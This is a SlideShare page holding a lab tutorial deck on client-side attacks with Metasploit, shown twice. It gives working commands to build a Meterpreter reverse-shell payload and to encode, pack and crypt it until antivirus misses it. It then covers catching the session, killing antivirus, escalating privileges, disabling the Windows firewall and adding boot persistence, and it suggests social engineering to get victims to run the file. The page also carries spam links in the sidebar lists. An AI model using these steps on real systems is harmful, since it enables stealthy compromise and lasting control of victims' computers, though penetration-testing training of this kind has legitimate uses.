SlideShare ist ein Scribd-Unternehmen logo
1 von 22
Client Side
Exploits
Metasploit, Meterpreter, Obfuscation
, Rogue Websites and Ettercap.
Tools
• Kali Linux:
 Metasploit (msfconsole, msfpayload, msfencode)
 Ettercap
 Apache

• Windows
 Nemesis Crypter
 .Net Shrink
 DeepSea Obfuscator
Testing Environment pt.1
All examples shown will be performed in a controlled network, I do not condone the
use of these methods in the wild.
Host Network
192.168.1.0/24

Host Computer

Virtualised Environment (Oracle VirtualBox)
 WAN 192.168.56.0/24
 LAN 10.0.2.0/24
Virtual Router (pfSense)
 WAN 10.0.2.15
 LAN 192.168.2.0/24

Attacker (Kali)

Client (Win7)
Testing Environment pt.2

VirtualBox Configuration
1.
2.
3.
4.
5.

Download pfSense ISO (http://www.pfsense.org)
Create new VM using wizard
Install 2 NIC’s
NIC 1 should be configured to use NAT
NIC 2 should be configured to use Internal Network
Testing Environment pt.3

Kali Linux Configuration
1.
2.

3.
4.
5.

Apt-get update, upgrade, dist-upgrade, install -y linux-headers-$(uname -r)
cp /media/cd-rom/VBoxLinuxAdditions.run /root/
chmod 755 /root/VBoxLinuxAdditions.run
cd /root
./VBoxLinuxAdditions.run
update-rc.d postgresql enable
update-rc.d metasploit enable
msfupdate
Metasploit pt.1
Payload Creation
• Using msfpayload –h we can see all the available options.
• Using –l will show all of the available payloads, for this example me will be
generating a meterpreter shell to connect back to the attacker due to its flexibility.

• Selecting the meterpreter reverse tcp payload
• Using msfpayload windows/meterpreter/reverse_tcp O will give
use the payload options which we will input in the next step

• X to create an executable
• > pay.exe – exports the payload to filename pay.exe
• We will now have the executable pay.exe on our desktop

Here we can choose how to output the payload, we can
export to C, Ruby for later compiling or we can export to
Java if we wanted to create an applet attack. For this example
however we will be exporting to an executable for an
infectious media attack

We have 2 configurable options for this payload:
1.
LHOST – this is the address of the attacking machine
(for this lab we will use a local address however you
can use an external address for a remote attack)
2.
LPORT – this is the port used to connect back to the
attacker, for this lab we will use port 4444 however if
you are behind a restrictive firewall you may want to
select a port that will be open e.g 443 (ssl) or 53 (dns).
Also if this is a remote attack you would have to port
forward the selected port
Checking Our Work

• Uploading the file to Metascan will check our payload against 43
antivirus scanning engines
• Unfortunately the payload we created was detected 26 times, we now
have to work on lowering this detection rate
Metasploit pt.2
Payload Encoding
We use msfencode using the same command, however we now use
the switch “R” to output the file as RAW and use “|” to pipe the file
into msfencode

• the raw output of the prevous command is piped
into another encoder using “|”
• We use msfencode –e x86/countdown –c 5 –t exe –
o payenc.exe to encode the file again and then
output the resultant to payenc.exe

Note: this is by no means a comprehensive coverage of msfpayload or msfencode, I suggest
reading Metasploit: The Penetration Testers Guide for full usage of these tools.

Msfencode:
• -e – selects the encoder (in the example shikata_ga_nai is used)
• -c – sets the number of times the payload is encoded
• -t – sets the output file to RAW

Lastly we will pack our file to add an extra layer of obscurity using the
following command:
Upx -9 payenc.exe payencpacked.exe
Checking Our Work

•
•

Uploading the file shows the results are not good,
antivirus vendors are getting wise towards the
encoders we used.
We now need to utilise some other methods to
Obfuscate the payload further
Obfuscation pt.1
Over to you Windows
Nemesis Crypter
1. Main – select location of file
2. Options - set the encryption
algorithm to AES
3. Assembly Information – Set to random
4. Crypt file
Checking Our Work
Notice a Pattern Emerging

• Ok so that’s a good enough detection rate.
• Its interesting to note that all the free antivirus vendors failed to detect our payload (AVG
I'm looking at you) whilst Norton and Kaspersky still detected, thus highlighting the need
to PAY for a good antivirus.
Obfuscation pt.2
.net Shrink

•

No one method is fool
proof, however there
are hundreds of tools
to further obfuscate
your payload you just
need to experiment

DeepSea Obfuscatior

.net Reactor

•

•

Antivirus vendors will
eventually become wise to
all encoders and
obfuscators
I hope this highlights the
importance of having a
good antivirus (remember
to laugh at apple fan boys
when they say they are
immune to viruses)
Where are we now
We now have a payload that has a low detection rate…….what do we do
now?
Two things need to be accomplished:
1. We need a method for the payload to connect from the client
machine to the attacking machine (this is a client side attack
remember)
2. We need a way to get the victim to execute the payload (think social
engineering, I will look forward to hearing your ideas)
Metasploit pt.3
•
•

Remember that we programmed our payload to reverse connect to 192.168.2.11:4444
We now need to set metasploit to listen for connections on 192.168.2.11:4444

Start metasploit using
msfconsole

Starts listening for client
connections
Metasploit pt.3 cont.

Set LHOST – sets the
listen address which is
the ip of the attacker
machine

set LPORT – sets the
listen port

Exploit – starts the
listener

The attacking machine is
now ready to accept
incoming connections
• User on client machine
clicks malicious file
• notice that nothing
suspicious happens
• user assumes that it is
just a broken file
• little do they know……

Meanwhile the attacker
machine has accepted a
remote connection from
the client

A meterpreter session
is now open
if we issue a netstat –a
on the client machine to
list all remote
connections we see the
connection from
192.168.2.7 (the client)
to 192.168.2.11:4444
(the attacker)
Meterpreter
Post-Exploitation
We have our meterpreter session to the client machine we now need to
ensure the client stays compromised:
1. Kill any antivirus (although our payload hasn't been detected, any future
modifications may reveal the payload to the antivirus).
2. Kill firewall
3. Migrate the meterpreter session to a secure process
4. Elevate our privileges
5. Make our meterpreter session persistent through reboots
Idletime - we don’t want to run these commands
when the user is present
Ps – shows the running processes on the client
machine
We now need to disable the antivirus , in this case the
client is running security essentials msseces.exe =
2356 so we issue kill 2356 (note: it is useful to
familiarise yourself with the processes other antivirus
packages use).
Currently meterpreter is running as process
“abc.exe” which is highly suspicious, using the
migrate command we will run meterpreter as
“explorer.exe” (note: when using meterpreter we
use the PID number rather than the process name
e.g. explorer.exe = 1424).

Using “getsystem“ and “getprivs” gives us the system
user account and all the associated privileges.

Using “shell” we drop down into the windows
command line and issue the command “netsh
advfirewall set allprofiles state off”. The windows
firewall is now off.

The system is now defenceless and we have
complete control.
I hope this slide has demonstrated the
multidisciplinary nature of hacking by using
both the Linux and windows command line.
I would recommend reading the following
texts to further familiarise yourselves with
both command lines.
Meterpreter
Maintaining Access

1.

Use the “shell” command to get a windows command prompt

2.

We are now going to add a registry key that executes the payload at every boot by using the command reg add “path to registry key”

3.

/v names the registry key

4.

/t specifies the key type

5.

/d defines the path to our executable

Weitere ähnliche Inhalte

Was ist angesagt?

Security & ethical hacking
Security & ethical hackingSecurity & ethical hacking
Security & ethical hacking
Amanpreet Singh
 
Module 3 Scanning
Module 3   ScanningModule 3   Scanning
Module 3 Scanning
leminhvuong
 
Nmap Discovery
Nmap DiscoveryNmap Discovery
Nmap Discovery
Tai Pan
 

Was ist angesagt? (20)

Laboratory exercise - Network security - Penetration testing
Laboratory exercise - Network security - Penetration testingLaboratory exercise - Network security - Penetration testing
Laboratory exercise - Network security - Penetration testing
 
Network Penetration Testing Toolkit - Nmap, Netcat, and Metasploit Basics
Network Penetration Testing Toolkit - Nmap, Netcat, and Metasploit BasicsNetwork Penetration Testing Toolkit - Nmap, Netcat, and Metasploit Basics
Network Penetration Testing Toolkit - Nmap, Netcat, and Metasploit Basics
 
Backtracking Algorithmic Complexity Attacks Against a NIDS
Backtracking Algorithmic Complexity Attacks Against a NIDSBacktracking Algorithmic Complexity Attacks Against a NIDS
Backtracking Algorithmic Complexity Attacks Against a NIDS
 
Dynamic Port Scanning
Dynamic Port ScanningDynamic Port Scanning
Dynamic Port Scanning
 
Nmap scripting engine
Nmap scripting engineNmap scripting engine
Nmap scripting engine
 
Linux host review
Linux host reviewLinux host review
Linux host review
 
Debugging Complex Systems - Erlang Factory SF 2015
Debugging Complex Systems - Erlang Factory SF 2015Debugging Complex Systems - Erlang Factory SF 2015
Debugging Complex Systems - Erlang Factory SF 2015
 
Nagios nrpe
Nagios nrpeNagios nrpe
Nagios nrpe
 
Metasploit: Pwnage and Ponies
Metasploit: Pwnage and PoniesMetasploit: Pwnage and Ponies
Metasploit: Pwnage and Ponies
 
Beginner's Guide to the nmap Scripting Engine - Redspin Engineer, David Shaw
Beginner's Guide to the nmap Scripting Engine - Redspin Engineer, David ShawBeginner's Guide to the nmap Scripting Engine - Redspin Engineer, David Shaw
Beginner's Guide to the nmap Scripting Engine - Redspin Engineer, David Shaw
 
BSides Denver: Stealthy, hypervisor-based malware analysis
BSides Denver: Stealthy, hypervisor-based malware analysisBSides Denver: Stealthy, hypervisor-based malware analysis
BSides Denver: Stealthy, hypervisor-based malware analysis
 
Security & ethical hacking
Security & ethical hackingSecurity & ethical hacking
Security & ethical hacking
 
Module 3 Scanning
Module 3   ScanningModule 3   Scanning
Module 3 Scanning
 
Assume Compromise
Assume CompromiseAssume Compromise
Assume Compromise
 
Nmap Discovery
Nmap DiscoveryNmap Discovery
Nmap Discovery
 
Di shen pacsec_final
Di shen pacsec_finalDi shen pacsec_final
Di shen pacsec_final
 
CNIT 50: 6. Command Line Packet Analysis Tools
CNIT 50: 6. Command Line Packet Analysis ToolsCNIT 50: 6. Command Line Packet Analysis Tools
CNIT 50: 6. Command Line Packet Analysis Tools
 
Introduction to Snort Rule Writing
Introduction to Snort Rule WritingIntroduction to Snort Rule Writing
Introduction to Snort Rule Writing
 
Nmap
NmapNmap
Nmap
 
Penetration Testing Project Game of Thrones CTF: 1
Penetration Testing Project Game of Thrones CTF: 1Penetration Testing Project Game of Thrones CTF: 1
Penetration Testing Project Game of Thrones CTF: 1
 

Andere mochten auch

Client Side Exploits Using Pdf
Client Side Exploits Using PdfClient Side Exploits Using Pdf
Client Side Exploits Using Pdf
titanlambda
 
11. wireless-penetration-testing-training-cyber51
11. wireless-penetration-testing-training-cyber5111. wireless-penetration-testing-training-cyber51
11. wireless-penetration-testing-training-cyber51
Doree Garcia, CCNA, OSWP
 
Air defense wireless_vulnerability_assessement_module_spec_sheet
Air defense wireless_vulnerability_assessement_module_spec_sheetAir defense wireless_vulnerability_assessement_module_spec_sheet
Air defense wireless_vulnerability_assessement_module_spec_sheet
Advantec Distribution
 
Networking & Security Ettercap
Networking & Security EttercapNetworking & Security Ettercap
Networking & Security Ettercap
Nick Beattie
 
Penetration testing, What’s this?
Penetration testing, What’s this?Penetration testing, What’s this?
Penetration testing, What’s this?
Dmitry Evteev
 

Andere mochten auch (20)

Client Side Exploits using PDF
Client Side Exploits using PDFClient Side Exploits using PDF
Client Side Exploits using PDF
 
The real incident of stealing android app data
The real incident of stealing android app dataThe real incident of stealing android app data
The real incident of stealing android app data
 
Client Side Exploits Using Pdf
Client Side Exploits Using PdfClient Side Exploits Using Pdf
Client Side Exploits Using Pdf
 
The real incident of stealing a droid app+data
The real incident of stealing a droid app+dataThe real incident of stealing a droid app+data
The real incident of stealing a droid app+data
 
Testing web application firewalls (waf) accuracy
Testing web application firewalls (waf) accuracyTesting web application firewalls (waf) accuracy
Testing web application firewalls (waf) accuracy
 
Infographic: Penetration Testing - A Look into a Full Pen Test Campaign
Infographic: Penetration Testing - A Look into a Full Pen Test CampaignInfographic: Penetration Testing - A Look into a Full Pen Test Campaign
Infographic: Penetration Testing - A Look into a Full Pen Test Campaign
 
11. wireless-penetration-testing-training-cyber51
11. wireless-penetration-testing-training-cyber5111. wireless-penetration-testing-training-cyber51
11. wireless-penetration-testing-training-cyber51
 
Air defense wireless_vulnerability_assessement_module_spec_sheet
Air defense wireless_vulnerability_assessement_module_spec_sheetAir defense wireless_vulnerability_assessement_module_spec_sheet
Air defense wireless_vulnerability_assessement_module_spec_sheet
 
LokiPi: Small form factor wireless auditing and penetration testing toolkit
LokiPi: Small form factor wireless auditing and penetration testing toolkitLokiPi: Small form factor wireless auditing and penetration testing toolkit
LokiPi: Small form factor wireless auditing and penetration testing toolkit
 
Networking & Security Ettercap
Networking & Security EttercapNetworking & Security Ettercap
Networking & Security Ettercap
 
New School Man-in-the-Middle
New School Man-in-the-MiddleNew School Man-in-the-Middle
New School Man-in-the-Middle
 
Axoss Wireless Penetration Testing Services
Axoss Wireless Penetration Testing ServicesAxoss Wireless Penetration Testing Services
Axoss Wireless Penetration Testing Services
 
Client-side JavaScript Vulnerabilities
Client-side JavaScript VulnerabilitiesClient-side JavaScript Vulnerabilities
Client-side JavaScript Vulnerabilities
 
JavaScript Security
JavaScript SecurityJavaScript Security
JavaScript Security
 
MITM Attacks with Ettercap : TTU CyberEagles Club
MITM Attacks with Ettercap : TTU CyberEagles ClubMITM Attacks with Ettercap : TTU CyberEagles Club
MITM Attacks with Ettercap : TTU CyberEagles Club
 
The magic of ettercap
The magic of ettercapThe magic of ettercap
The magic of ettercap
 
Ettercap
EttercapEttercap
Ettercap
 
Security & Privacy in WLAN - A Primer and Case Study
Security & Privacy in WLAN - A Primer and Case StudySecurity & Privacy in WLAN - A Primer and Case Study
Security & Privacy in WLAN - A Primer and Case Study
 
Penetration testing, What’s this?
Penetration testing, What’s this?Penetration testing, What’s this?
Penetration testing, What’s this?
 
Kali Linux
Kali LinuxKali Linux
Kali Linux
 

Ähnlich wie Client side exploits

Creating Havoc using Human Interface Device
Creating Havoc using Human Interface DeviceCreating Havoc using Human Interface Device
Creating Havoc using Human Interface Device
Positive Hack Days
 
Project Malware AnalysisCS 6262 Project 3Agenda.docx
Project Malware AnalysisCS 6262 Project 3Agenda.docxProject Malware AnalysisCS 6262 Project 3Agenda.docx
Project Malware AnalysisCS 6262 Project 3Agenda.docx
briancrawford30935
 
Lab-10 Malware Creation and Denial of Service (DoS) In t.docx
Lab-10 Malware Creation and Denial of Service (DoS)        In t.docxLab-10 Malware Creation and Denial of Service (DoS)        In t.docx
Lab-10 Malware Creation and Denial of Service (DoS) In t.docx
pauline234567
 
metaploit framework
metaploit frameworkmetaploit framework
metaploit framework
Le Quyen
 

Ähnlich wie Client side exploits (20)

Syed Ubaid Ali Jafri - Black Box Penetration testing for Associates
Syed Ubaid Ali Jafri - Black Box Penetration testing for AssociatesSyed Ubaid Ali Jafri - Black Box Penetration testing for Associates
Syed Ubaid Ali Jafri - Black Box Penetration testing for Associates
 
Threats, Vulnerabilities & Security measures in Linux
Threats, Vulnerabilities & Security measures in LinuxThreats, Vulnerabilities & Security measures in Linux
Threats, Vulnerabilities & Security measures in Linux
 
Defcon 22-zoltan-balazs-bypass-firewalls-application-whiteli
Defcon 22-zoltan-balazs-bypass-firewalls-application-whiteliDefcon 22-zoltan-balazs-bypass-firewalls-application-whiteli
Defcon 22-zoltan-balazs-bypass-firewalls-application-whiteli
 
Penetrating Windows 8 with syringe utility
Penetrating Windows 8 with syringe utilityPenetrating Windows 8 with syringe utility
Penetrating Windows 8 with syringe utility
 
Interview questions
Interview questionsInterview questions
Interview questions
 
Network Penetration Testing
Network Penetration TestingNetwork Penetration Testing
Network Penetration Testing
 
Network and Internet Security.docx
Network and Internet Security.docxNetwork and Internet Security.docx
Network and Internet Security.docx
 
Positive Hack Days. Pavlov. Network Infrastructure Security Assessment
Positive Hack Days. Pavlov. Network Infrastructure Security AssessmentPositive Hack Days. Pavlov. Network Infrastructure Security Assessment
Positive Hack Days. Pavlov. Network Infrastructure Security Assessment
 
Metasploit (Module-1) - Getting Started With Metasploit
Metasploit (Module-1) - Getting Started With MetasploitMetasploit (Module-1) - Getting Started With Metasploit
Metasploit (Module-1) - Getting Started With Metasploit
 
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
Hacking Highly Secured Enterprise Environments by Zoltan BalazsHacking Highly Secured Enterprise Environments by Zoltan Balazs
Hacking Highly Secured Enterprise Environments by Zoltan Balazs
 
Metasploit - Basic and Android Demo
Metasploit  - Basic and Android DemoMetasploit  - Basic and Android Demo
Metasploit - Basic and Android Demo
 
Creating Havoc using Human Interface Device
Creating Havoc using Human Interface DeviceCreating Havoc using Human Interface Device
Creating Havoc using Human Interface Device
 
Metasploit for Penetration Testing: Beginner Class
Metasploit for Penetration Testing: Beginner ClassMetasploit for Penetration Testing: Beginner Class
Metasploit for Penetration Testing: Beginner Class
 
Project Malware AnalysisCS 6262 Project 3Agenda.docx
Project Malware AnalysisCS 6262 Project 3Agenda.docxProject Malware AnalysisCS 6262 Project 3Agenda.docx
Project Malware AnalysisCS 6262 Project 3Agenda.docx
 
Security & ethical hacking p2
Security & ethical hacking p2Security & ethical hacking p2
Security & ethical hacking p2
 
Metasploit
MetasploitMetasploit
Metasploit
 
Hacktivity 2016: Stealthy, hypervisor based malware analysis
Hacktivity 2016: Stealthy, hypervisor based malware analysisHacktivity 2016: Stealthy, hypervisor based malware analysis
Hacktivity 2016: Stealthy, hypervisor based malware analysis
 
Backtrack Manual Part8
Backtrack Manual Part8Backtrack Manual Part8
Backtrack Manual Part8
 
Lab-10 Malware Creation and Denial of Service (DoS) In t.docx
Lab-10 Malware Creation and Denial of Service (DoS)        In t.docxLab-10 Malware Creation and Denial of Service (DoS)        In t.docx
Lab-10 Malware Creation and Denial of Service (DoS) In t.docx
 
metaploit framework
metaploit frameworkmetaploit framework
metaploit framework
 

Kürzlich hochgeladen

+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
WSO2
 

Kürzlich hochgeladen (20)

Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, AdobeApidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
Apidays New York 2024 - Scaling API-first by Ian Reasor and Radu Cotescu, Adobe
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​Elevate Developer Efficiency & build GenAI Application with Amazon Q​
Elevate Developer Efficiency & build GenAI Application with Amazon Q​
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot ModelMcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
Mcleodganj Call Girls 🥰 8617370543 Service Offer VIP Hot Model
 
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdfRising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistan
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectors
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024
 
Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin WoodPolkadot JAM Slides - Token2049 - By Dr. Gavin Wood
Polkadot JAM Slides - Token2049 - By Dr. Gavin Wood
 
Exploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with MilvusExploring Multimodal Embeddings with Milvus
Exploring Multimodal Embeddings with Milvus
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost SavingRepurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
Repurposing LNG terminals for Hydrogen Ammonia: Feasibility and Cost Saving
 

Client side exploits

  • 1. Client Side Exploits Metasploit, Meterpreter, Obfuscation , Rogue Websites and Ettercap.
  • 2. Tools • Kali Linux:  Metasploit (msfconsole, msfpayload, msfencode)  Ettercap  Apache • Windows  Nemesis Crypter  .Net Shrink  DeepSea Obfuscator
  • 3. Testing Environment pt.1 All examples shown will be performed in a controlled network, I do not condone the use of these methods in the wild. Host Network 192.168.1.0/24 Host Computer Virtualised Environment (Oracle VirtualBox)  WAN 192.168.56.0/24  LAN 10.0.2.0/24 Virtual Router (pfSense)  WAN 10.0.2.15  LAN 192.168.2.0/24 Attacker (Kali) Client (Win7)
  • 4. Testing Environment pt.2 VirtualBox Configuration 1. 2. 3. 4. 5. Download pfSense ISO (http://www.pfsense.org) Create new VM using wizard Install 2 NIC’s NIC 1 should be configured to use NAT NIC 2 should be configured to use Internal Network
  • 5. Testing Environment pt.3 Kali Linux Configuration 1. 2. 3. 4. 5. Apt-get update, upgrade, dist-upgrade, install -y linux-headers-$(uname -r) cp /media/cd-rom/VBoxLinuxAdditions.run /root/ chmod 755 /root/VBoxLinuxAdditions.run cd /root ./VBoxLinuxAdditions.run update-rc.d postgresql enable update-rc.d metasploit enable msfupdate
  • 6. Metasploit pt.1 Payload Creation • Using msfpayload –h we can see all the available options. • Using –l will show all of the available payloads, for this example me will be generating a meterpreter shell to connect back to the attacker due to its flexibility. • Selecting the meterpreter reverse tcp payload • Using msfpayload windows/meterpreter/reverse_tcp O will give use the payload options which we will input in the next step • X to create an executable • > pay.exe – exports the payload to filename pay.exe • We will now have the executable pay.exe on our desktop Here we can choose how to output the payload, we can export to C, Ruby for later compiling or we can export to Java if we wanted to create an applet attack. For this example however we will be exporting to an executable for an infectious media attack We have 2 configurable options for this payload: 1. LHOST – this is the address of the attacking machine (for this lab we will use a local address however you can use an external address for a remote attack) 2. LPORT – this is the port used to connect back to the attacker, for this lab we will use port 4444 however if you are behind a restrictive firewall you may want to select a port that will be open e.g 443 (ssl) or 53 (dns). Also if this is a remote attack you would have to port forward the selected port
  • 7.
  • 8. Checking Our Work • Uploading the file to Metascan will check our payload against 43 antivirus scanning engines • Unfortunately the payload we created was detected 26 times, we now have to work on lowering this detection rate
  • 9. Metasploit pt.2 Payload Encoding We use msfencode using the same command, however we now use the switch “R” to output the file as RAW and use “|” to pipe the file into msfencode • the raw output of the prevous command is piped into another encoder using “|” • We use msfencode –e x86/countdown –c 5 –t exe – o payenc.exe to encode the file again and then output the resultant to payenc.exe Note: this is by no means a comprehensive coverage of msfpayload or msfencode, I suggest reading Metasploit: The Penetration Testers Guide for full usage of these tools. Msfencode: • -e – selects the encoder (in the example shikata_ga_nai is used) • -c – sets the number of times the payload is encoded • -t – sets the output file to RAW Lastly we will pack our file to add an extra layer of obscurity using the following command: Upx -9 payenc.exe payencpacked.exe
  • 10. Checking Our Work • • Uploading the file shows the results are not good, antivirus vendors are getting wise towards the encoders we used. We now need to utilise some other methods to Obfuscate the payload further
  • 11. Obfuscation pt.1 Over to you Windows Nemesis Crypter 1. Main – select location of file 2. Options - set the encryption algorithm to AES 3. Assembly Information – Set to random 4. Crypt file
  • 12. Checking Our Work Notice a Pattern Emerging • Ok so that’s a good enough detection rate. • Its interesting to note that all the free antivirus vendors failed to detect our payload (AVG I'm looking at you) whilst Norton and Kaspersky still detected, thus highlighting the need to PAY for a good antivirus.
  • 13. Obfuscation pt.2 .net Shrink • No one method is fool proof, however there are hundreds of tools to further obfuscate your payload you just need to experiment DeepSea Obfuscatior .net Reactor • • Antivirus vendors will eventually become wise to all encoders and obfuscators I hope this highlights the importance of having a good antivirus (remember to laugh at apple fan boys when they say they are immune to viruses)
  • 14. Where are we now We now have a payload that has a low detection rate…….what do we do now? Two things need to be accomplished: 1. We need a method for the payload to connect from the client machine to the attacking machine (this is a client side attack remember) 2. We need a way to get the victim to execute the payload (think social engineering, I will look forward to hearing your ideas)
  • 15. Metasploit pt.3 • • Remember that we programmed our payload to reverse connect to 192.168.2.11:4444 We now need to set metasploit to listen for connections on 192.168.2.11:4444 Start metasploit using msfconsole Starts listening for client connections
  • 16. Metasploit pt.3 cont. Set LHOST – sets the listen address which is the ip of the attacker machine set LPORT – sets the listen port Exploit – starts the listener The attacking machine is now ready to accept incoming connections
  • 17. • User on client machine clicks malicious file • notice that nothing suspicious happens • user assumes that it is just a broken file • little do they know…… Meanwhile the attacker machine has accepted a remote connection from the client A meterpreter session is now open
  • 18. if we issue a netstat –a on the client machine to list all remote connections we see the connection from 192.168.2.7 (the client) to 192.168.2.11:4444 (the attacker)
  • 19.
  • 20. Meterpreter Post-Exploitation We have our meterpreter session to the client machine we now need to ensure the client stays compromised: 1. Kill any antivirus (although our payload hasn't been detected, any future modifications may reveal the payload to the antivirus). 2. Kill firewall 3. Migrate the meterpreter session to a secure process 4. Elevate our privileges 5. Make our meterpreter session persistent through reboots
  • 21. Idletime - we don’t want to run these commands when the user is present Ps – shows the running processes on the client machine We now need to disable the antivirus , in this case the client is running security essentials msseces.exe = 2356 so we issue kill 2356 (note: it is useful to familiarise yourself with the processes other antivirus packages use). Currently meterpreter is running as process “abc.exe” which is highly suspicious, using the migrate command we will run meterpreter as “explorer.exe” (note: when using meterpreter we use the PID number rather than the process name e.g. explorer.exe = 1424). Using “getsystem“ and “getprivs” gives us the system user account and all the associated privileges. Using “shell” we drop down into the windows command line and issue the command “netsh advfirewall set allprofiles state off”. The windows firewall is now off. The system is now defenceless and we have complete control. I hope this slide has demonstrated the multidisciplinary nature of hacking by using both the Linux and windows command line. I would recommend reading the following texts to further familiarise yourselves with both command lines.
  • 22. Meterpreter Maintaining Access 1. Use the “shell” command to get a windows command prompt 2. We are now going to add a registry key that executes the payload at every boot by using the command reg add “path to registry key” 3. /v names the registry key 4. /t specifies the key type 5. /d defines the path to our executable